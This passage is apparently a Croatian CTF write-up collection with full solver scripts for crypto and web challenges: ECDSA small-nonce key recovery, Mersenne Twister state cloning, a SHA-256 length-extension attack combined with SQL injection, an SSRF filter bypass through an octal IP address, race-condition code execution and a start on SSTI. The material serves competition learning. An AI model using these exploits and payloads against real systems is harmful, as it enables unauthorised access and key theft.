ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika. Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje. Rješenje u nastavku koristi genetski algoritam. Generiraju se nasumični ključevi, pronađu se najbolji kandidati za koje se dešifrirani tekst najuspješnije može base64 dekodirati u engleske riječi. Sljedeća generacija se stvara iz najboljih kandidata, uz miješanje kandidata i mutacije. Skripta je kompatibilna s PyPy implementacijom, te se preporučuje njeno korištenje. Skripti se mogu mijenjati argumenti pri rješavanju, ako skripta ne uspije odmah pronaći rješenje, može se povećati broj generacija (argument gens - generations) i ponovno pokrenuti. Skripti su potrebne datoteke: english_wordlist.txt cypher.txt dane uz zadatak. Skripta se pokreće s pomoću pypy i danih argumenata: pypy3 solver.py --cypher cypher.txt --wordlist english_wordlist.txt --seedlen 12 --gens 100 Ako skripta ne pronađe rješenje, povećajte zadnji parametar i ponovno pokrenite. Skripta je dana u nastavku. #!/usr/bin/env python3 import argparse import base64 import binascii import random import re import sys import time # Early-stop score threshold STOP_SCORE = 2100.0 BASE64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" GEN_ALPHABET = BASE64_ALPHABET + "=" ALPHABET_FOR_SEED = BASE64_ALPHABET # seeds do not include padding # Flag regex FLAG2025_TEXT = re.compile(br"CTF2025\[\d{12}\]") SAMPLE_WORDS = set(["the","and","that","this","with","you","for","flag","secret","find","if","is","are","in","a","to","of","it"]) # ---------------- Utilities ----------------- def load_ciphertext(path): """Loads and cleans the ciphertext from a file.""" with open(path, 'r', encoding='utf-8', errors='ignore') as f: s = ''.join(line.strip() for line in f) return ''.join(ch for ch in s if ch in GEN_ALPHABET) def load_wordlist(path): """Loads a wordlist into a set.""" words = set() with open(path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: w = line.strip().lower() if w: words.add(w) return words def decrypt_autokey(ciphertext, seed, alphabet=GEN_ALPHABET): """Decrypt ciphertext using an autokey Vigenere.""" index = {c:i for i,c in enumerate(alphabet)} try: cidx = [index[ch] for ch in ciphertext] except KeyError: return None sidx = [index[ch] for ch in seed] plen = len(ciphertext) pidx = [None]*plen seedlen = len(sidx) for i in range(plen): if i < seedlen: k = sidx[i] else: k = pidx[i - seedlen] if k is None: return None pidx[i] = (cidx[i] - k) % len(alphabet) inv = {i:c for i,c in enumerate(alphabet)} return ''.join(inv[v] for v in pidx) def try_base64_decode_with_padding(b64text): """Try to decode a base64 string by using different paddings.""" for pad in range(0, 4): s = b64text + ('=' * pad) try: decoded = base64.b64decode(s, validate=True) return decoded, pad except binascii.Error: continue # Tolerant fallback try: return base64.b64decode(b64text, validate=False), None except Exception: return None, None def find_ctf2025_in_bytes(b): """Search for the flag pattern.""" if b is None: return None m = FLAG2025_TEXT.search(b) if m: try: return m.group(0).decode('utf-8', errors='ignore') except: return m.group(0).decode('latin1', errors='ignore') return None def score_decoded_bytes(b, wordset): """Scores decoded bytes based on printable characters and wordlist matches.""" if b is None or len(b) == 0: return -1e9 L = len(b) printable = sum(1 for x in b if 32 <= x <= 126) printable_ratio = printable / L score = printable_ratio * 10.0 if printable_ratio > 0.6: try: s = b.decode('utf-8', errors='ignore').lower() except Exception: s = '' words = s.split() if words and wordset: common_count = sum(1 for w in words if any(cw in w for cw in SAMPLE_WORDS) or w in wordset) score += common_count * 2.0 if "ctf2025[" in s: score += 2000.0 return score # ---------------- GA helpers ---------------- def random_seed_string(length, rng): """Generates a random seed string.""" return ''.join(rng.choice(ALPHABET_FOR_SEED) for _ in range(length)) def initial_population(popsize, seedlen, rng): """Create the initial population of random seeds.""" return [random_seed_string(seedlen, rng) for _ in range(popsize)] def mutate_seed(seed, rng, mutation_rate=0.15): """Mutates a seed string based on a mutation rate.""" s = list(seed) for i in range(len(s)): if rng.random() < mutation_rate: s[i] = rng.choice(ALPHABET_FOR_SEED) return ''.join(s) def crossover(a, b, rng): """Perform a single-point crossover between two parent seeds.""" if len(a) != len(b): return a pt = rng.randrange(1, len(a)) return a[:pt] + b[pt:] def evaluate_seed(ciphertext, seed, wordset): """Evaluates a single seed, returning its score and decrypted outputs.""" p_b64 = decrypt_autokey(ciphertext, seed) if p_b64 is None: return -1e9, None, None, None if "CTF2025[" in p_b64: return 1e6, p_b64, None, "in_b64" decoded, pad = try_base64_decode_with_padding(p_b64) found = find_ctf2025_in_bytes(decoded) if found: return 10000, p_b64, decoded, pad # found flag sc = score_decoded_bytes(decoded, wordset) return sc, p_b64, decoded, pad # ---------------- GA core ---------------- def weighted_choice_index(probs, rng): """Selects an index based on a list of probabilities.""" r = rng.random() cm = 0.0 for i, p in enumerate(probs): cm += p if r <= cm: return i return len(probs) - 1 def run_ga(ciphertext, wordset, seedlen, popsize=1500, gens=30, elitism=0.05, mutation_rate=0.12, rng_seed=None): """Runs the genetic algorithm to find the best decryption seed.""" rng = random.Random(rng_seed) pop = initial_population(popsize, seedlen, rng) pop_scores = [] best_overall = None elitist_count = max(1, int(popsize * elitism)) print("\n--- Phase 1: Generating initial population... ---") for seed in pop: sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset) pop_scores.append((sc, seed, p_b64, decoded, pad)) if best_overall is None or sc > best_overall[0]: best_overall = (sc, seed, p_b64, decoded, pad) if sc >= 9999: # Immediate flag detection return best_overall, 0, pop_scores print(f"\n--- Phase 2: Evolving population for {gens} generations... ---") start_time = time.time() for gen in range(1, gens + 1): pop_scores.sort(reverse=True, key=lambda x: x[0]) best_score, best_seed, _, _, _ = pop_scores[0] print(f"Gen {gen}/{gens} | Best Score: {best_score:.2f} | Best Seed: {repr(best_seed)}") if best_score >= STOP_SCORE: return pop_scores[0], gen, pop_scores elites = [seed for _, seed, _, _, _ in pop_scores[:elitist_count]] scores_for_wheel = [max(0.0, sc) + 1e-6 for sc, _, _, _, _ in pop_scores] total_score = sum(scores_for_wheel) probs = [s / total_score for s in scores_for_wheel] if total_score > 0 else [1 / len(scores_for_wheel)] * len(scores_for_wheel) new_pop = elites.copy() while len(new_pop) < popsize: i1 = weighted_choice_index(probs, rng) i2 = weighted_choice_index(probs, rng) child = crossover(pop_scores[i1][1], pop_scores[i2][1], rng) child = mutate_seed(child, rng, mutation_rate=mutation_rate) new_pop.append(child) pop = new_pop pop_scores = [] for seed in pop: sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset) pop_scores.append((sc, seed, p_b64, decoded, pad)) if best_overall is None or sc > best_overall[0]: best_overall = (sc, seed, p_b64, decoded, pad) if sc >= 1e6: print(f"\nHigh-scoring candidate found during gen {gen}.") return (sc, seed, p_b64, decoded, pad), gen, pop_scores print(f"GA finished {gens} generations in {time.time() - start_time:.1f}s") pop_scores.sort(reverse=True, key=lambda x: x[0]) return best_overall, gens, pop_scores # ---------------- Print & exit ---------------- def print_and_exit_on_flag(result_tuple): """Checks if a result contains the flag and exits if it does.""" if result_tuple is None: return sc, seed, p_b64, decoded, pad = result_tuple found = find_ctf2025_in_bytes(decoded) if found: print("\n*** CTF FLAG FOUND ***") print(found) print("\nContext (base64 candidate excerpt):") print((p_b64[:400] + ("..." if len(p_b64) > 400 else ""))) sys.exit(0) def pretty_print_candidate(sol_tuple): """Prints a formatted summary of a solution candidate.""" sc, seed, p_b64, decoded, pad = sol_tuple print("\n=== SOLUTION CANDIDATE ===") print(f"Score: {sc:.2f}") print(f"Seed: {seed}") if p_b64: print("Base64 candidate (excerpt):") print(p_b64[:300] + ("..." if len(p_b64) > 300 else "")) if decoded is not None: try: text = decoded.decode('utf-8', errors='ignore') print("\nDecoded (utf-8 snippet):\n") print(text[:1200]) except Exception: print("Decoded binary length:", len(decoded)) print("=== End candidate ===\n") # ---------------- CLI ---------------- def parse_args(): """Parses command-line arguments.""" p = argparse.ArgumentParser(description="GA solver for Autokey Vigenere over Base64") p.add_argument("--cypher", required=True, help="Ciphertext file") p.add_argument("--wordlist", required=True, help="English wordlist for scoring") p.add_argument("--seedlen", type=int, default=6, help="Seed length to search for") p.add_argument("--popsize", type=int, default=1500, help="GA population size") p.add_argument("--gens", type=int, default=30, help="Number of generations to run") p.add_argument("--elitism", type=float, default=0.05, help="Fraction of elites to keep") p.add_argument("--mutation", type=float, default=0.12, help="Per-character mutation probability") p.add_argument("--seed", type=int, default=None, help="RNG seed for reproducibility") return p.parse_args() def main(): """Main execution function.""" args = parse_args() cypher = load_ciphertext(args.cypher) if not cypher: print("Empty ciphertext (after cleaning). Exiting.") sys.exit(2) wordset = load_wordlist(args.wordlist) print(f"Loaded {len(wordset)} words for scoring.") best, _, pop_scores = run_ga(cypher, wordset, args.seedlen, popsize=args.popsize, gens=args.gens, elitism=args.elitism, mutation_rate=args.mutation, rng_seed=args.seed) if best: # Check the best candidate from the run print_and_exit_on_flag(best) # No flag was found, show the top candidates print("\nGA complete. No flag found automatically. Showing top candidates:") pop_scores.sort(reverse=True, key=lambda x: x[0]) for i, (sc, seed, _, _, _) in enumerate(pop_scores[:10], start=1): print(f"[{i}] score={sc:.2f} seed={seed}") pretty_print_candidate(best) print("GA finished without finding the flag. Try increasing population/generations or adjust parameters.") sys.exit(1) if __name__ == "__main__": main() ====ECDSA==== Jesmo li dobro implementirali digitalni potpis? Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14004 ili Windows naredbom telnet chal.platforma.hacknite.hr 14004 Uz zadatak je dan i izvorni kod servera. Ovaj zadatak koristi ECDSA (Elliptic Curve Digital Signature Algorithm) za enkripciju. Ranjivost je u sign funkciji, u ovoj liniji koda def sign(msg: bytes): ... k = random.randint(1, 2**16 - 1) Varijabla k je u rasponu 1 do 2^16, što je samo 65536 različitih mogućih vrijednosti i time se može pronaći bruteforce pristupom u prihvatljivom vremenu. Kako bi se riješio zadatak, prvo se pošalje jedna poruka, na koju server odgovori s potpisom te poruke u kojoj su i vrijednosti r i s. Enter message to sign: poruka1 SHA256(msg): 5496f1fcb56dc0744d463b322bbb4b2230e0ce41825a2984a19b5c258db21f33 r = 98154318813502776403537772725871540892940250991044631975797900508107983601605 s = 112433433771796392361992032339295692028196902438634484218793073151861495967099 vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala. s se računa formulom: s = (k_inverse * (h + r * priv)) % n U ovoj jednadžbi, h, s i r su poznati, k i privatni ključ (priv) su nepoznati, ali zbog male vrijednosti k moguće ga je pronaći bruteforceom. r = (k * G).x % n Gdje su G i n standardne konstante krivulje SECP256k1 koja se koristi u zadatku, a r je također znan. sk = SigningKey.generate(curve=SECP256k1) vk = sk.verifying_key G = SECP256k1.generator n = SECP256k1.order priv = sk.privkey.secret_multiplier Kad se pronađe k, može se izračunati privatni ključ, nad kojim se radi SHA256 i potom XOR sažetka i flag-a. Skripta koja ovim postupkom pronalazi flag je u nastavku. #!/usr/bin/env python3 import sys import socket import hashlib import base64 from ecdsa import SECP256k1 from ecdsa.ecdsa import generator_secp256k1 HOST = "chal.platforma.hacknite.hr" PORT = 14004 G = generator_secp256k1 n = SECP256k1.order def recv_until(sock, delim: bytes): buf = b"" while not buf.endswith(delim): chunk = sock.recv(1) if not chunk: break buf += chunk return buf def sendline(sock, line: bytes): sock.sendall(line + b"\n") def parse_signature_block(block: bytes): lines = block.split(b"\n") h_line = [l for l in lines if l.startswith(b"SHA256(msg):")][0] r_line = [l for l in lines if l.startswith(b"r =")][0] s_line = [l for l in lines if l.startswith(b"s =")][0] h = int(h_line.split(b":")[1].strip(), 16) r = int(r_line.split(b"=")[1].strip()) s = int(s_line.split(b"=")[1].strip()) return h, r, s def bruteforce_k_and_recover_priv(h, r, s): for k in range(1, 2**16): R = k * G if R.x() % n != r: continue try: r_inv = pow(r, -1, n) d = (s * k - h) * r_inv % n print(f"[+] Found private key: {hex(d)}") return d except Exception: continue raise ValueError("Private key not found") def derive_keystream(priv_int: int, length: int) -> bytes: key = hashlib.sha256(str(priv_int).encode()).digest() stream = b"" while len(stream) < length: key = hashlib.sha256(key).digest() stream += key return stream[:length] def decrypt_flag(encrypted_b64: bytes, priv_int: int) -> bytes: ct = base64.b64decode(encrypted_b64.strip()) ks = derive_keystream(priv_int, len(ct)) return bytes(a ^ b for a, b in zip(ct, ks)) def main(): with socket.create_connection((HOST, PORT)) as sock: print("[*] Connected to server") recv_until(sock, b"> ") sendline(sock, b"1") recv_until(sock, b"sign: ") known_msg = b"known message" sendline(sock, known_msg) sig_block = recv_until(sock, b"> ") h, r, s = parse_signature_block(sig_block) print("[*] Got signature on known message") d = bruteforce_k_and_recover_priv(h, r, s) # Option 2: Get encrypted flag sendline(sock, b"2") encrypted_line = recv_until(sock, b"\n") b64_ct = encrypted_line.split(b"Encrypted flag: ")[1] flag = decrypt_flag(b64_ct, d) print(f"[+] Decrypted flag: {flag.decode(errors='ignore')}") if __name__ == "__main__": main() ====19937==== Prati tok Spoji se Linux naredbom netcat nc chal.platforma.hacknite.hr 14006 ili telnet telnet chal.platforma.hacknite.hr 14006 ako koristiš Windows Uz zadatak je dan i izvorni kod servera. Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maksimum. STATE_WORDS = 624 raw_state = [int.from_bytes(os.urandom(4), 'big') & 0xFFFFFFFF for _ in range(STATE_WORDS)] init_state = (3, tuple(raw_state + [STATE_WORDS]), None) rng = random.Random() rng.setstate(init_state) U ovom smislu, jedna riječ je 4 bajta. MT je pseudo nasumični generator brojeva, znači da koristi inicijalizirano stanje, odnosno 624 riječi za generiranje nasumičnih vrijednosti. Poznata je implementacija kako se iz stanja generiraju nasumični brojevi, te se inverzom tih operacija, uz dovoljnu količinu sekvencijalnih generiranih izlaza može rekonstruirati inicijalno stanje i predvidjeti sljedeći izlaz. za inicijalno stanje od 624 riječi, potrebno je pročitati istu količinu sekvencijalnog izlaza, što je 624 riječi * 4 bajta po riječi = 2496 bajtova To se može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera. Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag. Skripta za rješavanje zadatka je u nastavku. #!/usr/bin/env python3 import subprocess, base64, random, sys from math import ceil # MT19937 parameters w, n = 32, 624 u, s, t, l = 11, 7, 15, 18 d = 0xFFFFFFFF b = 0x9D2C5680 c = 0xEFC60000 HOST = "chal.platforma.hacknite.hr" PORT = "14006" # untempering functions def undo_right_shift_xor(y, shift): last = y for _ in range(0, w, shift): last = y ^ (last >> shift) return last def undo_left_shift_mask_xor(y, shift, mask): last = y for _ in range(0, w, shift): last = y ^ ((last << shift) & mask) return last def untemper(y): y = undo_right_shift_xor(y, l) y = undo_left_shift_mask_xor(y, t, c) y = undo_left_shift_mask_xor(y, s, b) y = undo_right_shift_xor(y, u) return y def recv_until(proc, prompt, desc=""): buf = b"" while not buf.endswith(prompt): ch = proc.stdout.read(1) if not ch: raise EOFError(f"EOF waiting for {desc}") buf += ch return buf def recv_line(proc, desc=""): return proc.stdout.readline() def keystream_from_clone(clone, length): out = bytearray() words = ceil(length/4) for _ in range(words): w32 = clone.getrandbits(32) out += w32.to_bytes(4, 'little') return bytes(out[:length]) if __name__ == "__main__": proc = subprocess.Popen( ["nc", HOST, PORT], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) # Initial interaction recv_line(proc, "welcome") recv_until(proc, b"> ", "menu") # Leak keystream with null bytes proc.stdin.write(b"1\n") proc.stdin.flush() recv_until(proc, b": ", "plaintext prompt") num_bytes = 624 * 4 # 2496 bytes proc.stdin.write(b"\x00" * num_bytes + b"\n") proc.stdin.flush() # Process leaked keystream line = recv_line(proc, "ct leak") ks_bytes = base64.b64decode(line.split(b"CT=")[1].strip()) # Convert to integers and untemper nums = [int.from_bytes(ks_bytes[i:i+4], "little") for i in range(0, len(ks_bytes), 4)] state = [untemper(v) for v in nums] # Initialize clone PRNG clone = random.Random() STATE_WORDS = 624 clone.setstate((3, tuple(state + [STATE_WORDS]), None)) # Request flag recv_until(proc, b"> ", "menu before flag") proc.stdin.write(b"2\n") proc.stdin.flush() line2 = recv_line(proc, "flag ct") ct_flag = base64.b64decode(line2.split(b"CT=")[1].strip()) # Generate keystream for flag length ks_flag = keystream_from_clone(clone, len(ct_flag)) flag = bytes(a ^ b for a, b in zip(ct_flag, ks_flag)) # Safe flag output try: print("Flag:", flag.decode('utf-8')) except UnicodeDecodeError: print("Flag (raw bytes):", flag) print("Flag (hex):", flag.hex()) proc.terminate() ====Zapamti me==== Rješenje zadatka dostupno je ovdje: [[zapamtime|CTF writeup - Zapamti me]] ====Produljeni sažetci==== Kripto i web igrači/ce u vašem timu trebali bi surađivati na ovom zadatku. http://chal.platforma.hacknite.hr:14005/ Uz zadatak je dan i izvorni kod zadatka. Ovaj zadatak ima dvije ranjivosti, prva ranjivost je [[length-extension-attack|Length extension attack]] nad session kolačićem, čiji se signature stvara kao sha256 sažetak app.secret_key varijable koja je nepoznata i korisničke ID vrijednosti. data = app.secret_key + user_id_bytes signature = hashlib.sha256(data).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode() Da je redoslijed ovih dviju vrijednosti pri generaciji potpisa bio obrnut: data = user_id_bytes + app.secret_key signature = hashlib.sha256(data).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode() Napad ne bi bio moguć. Druga ranjivost je [[sql_injection|SQL Injection]] nad korisnikovim ID-om pročitanim iz korisničkog kolačića auth_cookie = request.cookies.get('session') ... parts = auth_cookie.split(':') ... user_id_b64, signature_b64 = parts ... user_id = base64_urlsafe_decode_with_padding(user_id_b64.strip()) ... cursor.execute(f"SELECT id, username FROM users WHERE id = '{safe_ascii_cast_from_bytes(user_id)}'") Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https://github.com/stephenbradshaw/hlextend|hlextend]]. SQL injection payload koji u middleware funkciji parsiranja sesije postavlja korisnika na admina je: payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- " Skripta koja koristi hlexstend alat kako bi generirala korisnički kolačić s ovim payloadom i signature za njega produljenjem sažetka je: import base64 import sys import hlextend def ensure_padding(b64_str): padding_needed = 4 - (len(b64_str) % 4) if padding_needed != 4: return b64_str + '=' * padding_needed return b64_str if len(sys.argv) != 2: print("Usage: python exploit.py 'b64_userid:b64_signature'") sys.exit(1) original_cookie = sys.argv[1] user_id_b64, original_sig_b64 = original_cookie.split(':', 1) # Proper padding for input values user_id_b64 = ensure_padding(user_id_b64) original_sig_b64 = ensure_padding(original_sig_b64) # Decode original values original_user_id_bytes = base64.urlsafe_b64decode(user_id_b64) original_sig = base64.urlsafe_b64decode(original_sig_b64) # Attack parameters key_length = 28 # Known secret key length payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- " # Perform length extension sha = hlextend.new('sha256') new_user_id_bytes = sha.extend( payload.encode('utf-8'), original_user_id_bytes, key_length, original_sig.hex() ) # Get new signature new_sig_hex = sha.hexdigest() new_sig = bytes.fromhex(new_sig_hex) # Base64 encode everything with proper padding new_user_id_b64 = base64.urlsafe_b64encode(new_user_id_bytes).decode() new_sig_b64 = base64.urlsafe_b64encode(new_sig).decode() # Proper padding in output new_user_id_b64 = ensure_padding(new_user_id_b64) new_sig_b64 = ensure_padding(new_sig_b64) malicious_cookie = f"{new_user_id_b64}:{new_sig_b64}" print("Malicious payload Cookie:", malicious_cookie) Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun. U nastavku je skripta koja to radi automatizirano, koristeći prethodnu skriptu te postavlja payload kolačić, šalje zahtjev i iščitava flag. import requests import random import string import subprocess import sys import re # Configuration HOST = "chal.platforma.hacknite.hr" PORT = 14005 BASE_URL = f"http://{HOST}:{PORT}" def generate_random_credentials(length=15): chars = string.ascii_letters + string.digits username = ''.join(random.choice(chars) for _ in range(length)) password = ''.join(random.choice(chars) for _ in range(length)) return username, password def register_user(username, password): data = { 'username': username, 'password': password, 'passwordCheck': password } response = requests.post(f"{BASE_URL}/register", data=data, allow_redirects=False) if response.status_code == 302 and 'session' in response.cookies: return response.cookies['session'] else: print(f"Registration failed. Status: {response.status_code}") print(f"Response headers: {response.headers}") return None def extract_payload_cookie(output): if ":" in output: parts = output.split(":") if len(parts) > 1: cookie_value = ":".join(parts[1:]).strip() return cookie_value return output.strip() def get_flag_with_payload(payload_cookie): cookies = {'session': payload_cookie} response = requests.get(BASE_URL, cookies=cookies, allow_redirects=False) print(f"Response status: {response.status_code}") print(f"Response headers: {response.headers}") if response.status_code == 302: redirect_url = response.headers.get('Location', '/') if redirect_url.startswith('/'): redirect_url = BASE_URL + redirect_url print(f"Following redirect to: {redirect_url}") response = requests.get(redirect_url, cookies=cookies) flag_pattern = r'CTF2025\[[^\]]+\]' match = re.search(flag_pattern, response.text) if match: return match.group(0) else: error_match = re.search(r'message=([^"]+)', response.text) if error_match: print(f"Server message: {error_match.group(1)}") return None def main(): print(f"Target: {BASE_URL}") print("Step 1: Registering a new user...") username, password = generate_random_credentials() print(f"Username: {username}") print(f"Password: {password}") user_cookie = register_user(username, password) if not user_cookie: print("Failed to register user or get cookie") return print(f"User cookie obtained: {user_cookie}") print("\nStep 2: Generating admin payload...") try: result = subprocess.run( ['python', 'payload_gen.py', user_cookie], capture_output=True, text=True, check=True ) raw_output = result.stdout.strip() print(f"Raw payload_gen output: {raw_output}") payload_cookie = extract_payload_cookie(raw_output) print(f"Extracted payload cookie: {payload_cookie}") except subprocess.CalledProcessError as e: print(f"Error running payload_gen.py: {e}") print(f"stderr: {e.stderr}") return except FileNotFoundError: print("Error: payload_gen.py not found in current directory") return print("\nStep 3: Retrieving flag with admin payload...") flag = get_flag_with_payload(payload_cookie) if flag: print(f"\nFLAG: {flag}") else: print("Failed to retrieve flag") if __name__ == "__main__": main() ======Web sigurnost====== ====Neispravan gumb==== Navodno je s ove stranice moguće doći do flaga, ali čini se da gumb ne radi http://chal.platforma.hacknite.hr:14014 Pritiskom na gumb, vraćena poruka je {"error":"Unsupported Media Type. Use Content-Type: application/json."} Zadatak se može riješiti pisanjem odgovarajućeg CURL zahtjeva. curl -X POST "http://chal.platforma.hacknite.hr:14014/fetch_flag" \ -H "Content-Type: application/json" \ -d '{"flag": true}' ====Skriveni API==== Možete li pronaći API endpoint koji vam daje flag? http://chal.platforma.hacknite.hr:14015 Odlaskom na http://chal.platforma.hacknite.hr:14015/docs/apidocs.txt dobije se poruka moved api docs to swagger Odlaskom na http://chal.platforma.hacknite.hr:14015/swagger Dostupan je pregled endpointova, među kojima se vidi i "flag" endpoint /super-secret-flag-storage-endpointascei3w2q Također, na početnoj stranici vidi se da postoji obfuscirana skripta, koja se može deobfuscirati korištenjem [[ https://obf-io.deobfuscate.io/ | web deobfuskatora ]] Može se vidjeti da se traženjem guest pristupa, šalje hash 84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec na endpoint /api/getguestaccess Unosom ovog hasha na [[ https://crackstation.net/ | crackstation]] vidi se da je to SHA256 sažetak riječi: guest može se zaključiti da se na endpoint, također vidljiv u swagger API specifikaciji /api/getguestaccess s opisom Provides the admin cookie if the correct hash is provided. treba poslati sha256 hash teksta "admin". Slanjem ovog zahtjeva, dobiva se admin cookie, koji se treba postaviti i onda pristupiti flag endpointu. Bash skripta koja rješava ovaj zadatak na opisani način je u nastavku. #!/bin/bash ADMIN_HASH=$(echo -n "admin" | sha256sum | awk '{print $1}') echo "Admin hash: $ADMIN_HASH" ADMIN_RESPONSE=$(curl -s -X POST http://chal.platforma.hacknite.hr:14015/api/getadminaccess \ -H "Content-Type: application/json" \ -d "{\"hash\":\"$ADMIN_HASH\"}" \ -c /tmp/cookie.txt) echo "Admin access response: $ADMIN_RESPONSE" FLAG_URL="/super-secret-flag-storage-endpointascei3w2q/" FLAG_RESPONSE=$(curl -X GET -s http://chal.platforma.hacknite.hr:14015/api"$FLAG_URL" -b /tmp/cookie.txt) echo "Flag response: $FLAG_RESPONSE" ====Dohvati flag==== Možete li dohvatiti flag koji je skriven na internoj stranici? http://chal.platforma.hacknite.hr:14021 Unosom poveznice interne lokacije na koju je premješten admin.html, vraća se greška da se točke ne prihvaćaju u hostnameu. IP adresa se može zapisati u oktalnom zapisu, gdje nema točaka. Za ovo postoji web [[https://www.browserling.com/tools/ip-to-oct | konverter IP adrese u oktalni zapis]]. Rezultat konverzije localhost (127.0.0.1) adrese u oktalni format bez točaka je: 0177.0000.0000.0001 (017700000001) Ovime je zadatak riješen. http://017700000001:1337/admin.html ====Skriptarnica==== Mjesto gdje možete uploadati svoje Python skripte i pokretati ih! http://chal.platforma.hacknite.hr:14020 Uz zadatak je dan i izvorni kod zadatka. Ovaj zadatak ima ranjivost tipa [[race condition | Race condition]], gdje se skripta koja se učitala, čak i ako ju server ocijeni opasnom i odluči obrisati, i dalje može izvršiti ako se zahtjev za izvršavanje skripte pošalje odmah nakon što se skripta učita. Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa /execute/ Ako se kreira skripta koja uploada skriptu za čitanje flaga i odmah nakon toga pošalje zahtjev za njeno izvršavanje na opisani endpoint, uploadana skripta će se izvršiti i flag će se pročitati i biti ispisan. Skripta koja rješava zadatak na opisani način je u nastavku. # solver_threaded_and_correct.py import requests import time import random import string import hashlib from bs4 import BeautifulSoup import threading # --- Configuration --- BASE_URL = "http://chal.platforma.hacknite.hr:14020/" ORIGINAL_FILENAME = "payload.py" # Credentials username = ''.join(random.choices(string.ascii_lowercase, k=10)) password = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) result = {} def parse_and_print_result(html_content): try: soup = BeautifulSoup(html_content, 'html.parser') article = soup.find('article') if not article: return error_div = article.find('div', class_='alert-error') if error_div: print(f"--- SERVER ERROR ---\n{error_div.get_text(strip=True)}") return stdout_label = article.find('label', string='Standard Output') if stdout_label: stdout_pre = stdout_label.find_next_sibling('pre') if stdout_pre: print("--- STDOUT ---") print(stdout_pre.get_text()) stderr_label = article.find('label', string='Standard Error') if stderr_label: stderr_pre = stderr_label.find_next_sibling('pre') if stderr_pre: print("--- STDERR ---") print(stderr_pre.get_text()) except Exception as e: print(f"[!] HTML parsing error: {e}") # --- Thread Functions --- def uploader_thread(session, upload_payload): try: session.post(f"{BASE_URL}/upload", files=upload_payload) except requests.exceptions.RequestException: pass def executor_thread(session, execute_url, server_delay): start_time = time.time() while time.time() - start_time < (server_delay + 0.5): try: resp = session.get(execute_url) if not resp.history and resp.status_code == 200: result['status'] = 'success' result['content'] = resp.text return except requests.exceptions.RequestException: pass result['status'] = 'failure' def main(): SERVER_DELAY = 0.1 with open(ORIGINAL_FILENAME, "w") as f: f.write("print(open('flag.txt').read())") hashed_filename = hashlib.sha256(ORIGINAL_FILENAME.encode()).hexdigest() + '.py' execute_url = f"{BASE_URL}/execute/{hashed_filename}" print(f"[*] Payload Filename: {ORIGINAL_FILENAME}") print(f"[*] Predicted Execute URL: {execute_url}") login_session = requests.Session() print(f"[*] Registering user: {username}") login_session.post(f"{BASE_URL}/register", data={'username': username, 'password': password}) print(f"[*] Logging in as: {username} pass: {password}") login_resp = login_session.post(f"{BASE_URL}/login", data={'username': username, 'password': password}) if "Executor" not in login_resp.text or login_resp.status_code != 200: print("[!] Login failed. Could not verify login.") return print("[+] Login successfully verified.") uploader_session = requests.Session() executor_session = requests.Session() uploader_session.cookies.update(login_session.cookies) executor_session.cookies.update(login_session.cookies) files_payload = {'file': (ORIGINAL_FILENAME, open(ORIGINAL_FILENAME, 'rb'), 'text/x-python')} upload_task = threading.Thread(target=uploader_thread, args=(uploader_session, files_payload)) execute_task = threading.Thread(target=executor_thread, args=(executor_session, execute_url, SERVER_DELAY)) print("[*] Starting the race...") upload_task.start() time.sleep(0.005) execute_task.start() upload_task.join() execute_task.join() print("\n--- Race Finished ---") if result.get('status') == 'success': print("[+] We won the race!") parse_and_print_result(result.get('content')) else: print("[-] Failed to win the race.") if __name__ == "__main__": main() Ovaj zadatak se također može riješiti učitavanjem skripte koja čita flag uz zaobilaženje filtera koji briše skripte sa zabranjenim keywordima. ====Prazno==== Ova stranica izgleda vrlo prazno, možete li pronaći ulaz? http://chal.platforma.hacknite.hr:14016 Uz zadatak je dan i izvorni kod. Ranjivost ovog zadatka je [[ssti|SSTI]]. Python kod unesen preko 'session_id' kolačića može se izvršiti prilikom renderiranja Jinja2 templatea, ako se stavi unutar oznaka duplih vitičastih zagrada. Kod unutar tog kolačića se može izvršiti samo pri prikazu poruke greške, koja je javlja pri neispravnom "session" kolačiću. Oblik payload kolačića je: cookies = {"session": "corrupted-data", "session_id": } Nakon potvrde izvršenja koda, potrebno je korištenjem MRO-a pronaći dostupne module i funkcije kojima se može pročitati flag, te ih iskoristiti. Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku. import requests import re import html # --- Configuration --- TARGET_URL = "http://chal.platforma.hacknite.hr:14016/" INDEX_ENDPOINT = f"{TARGET_URL}/" FLAG_REGEX = r"CTF2025\[\d{12}\]" def send_payload_and_get_clean_output(payload): """Sends a payload and returns the clean, HTML-decoded result from the

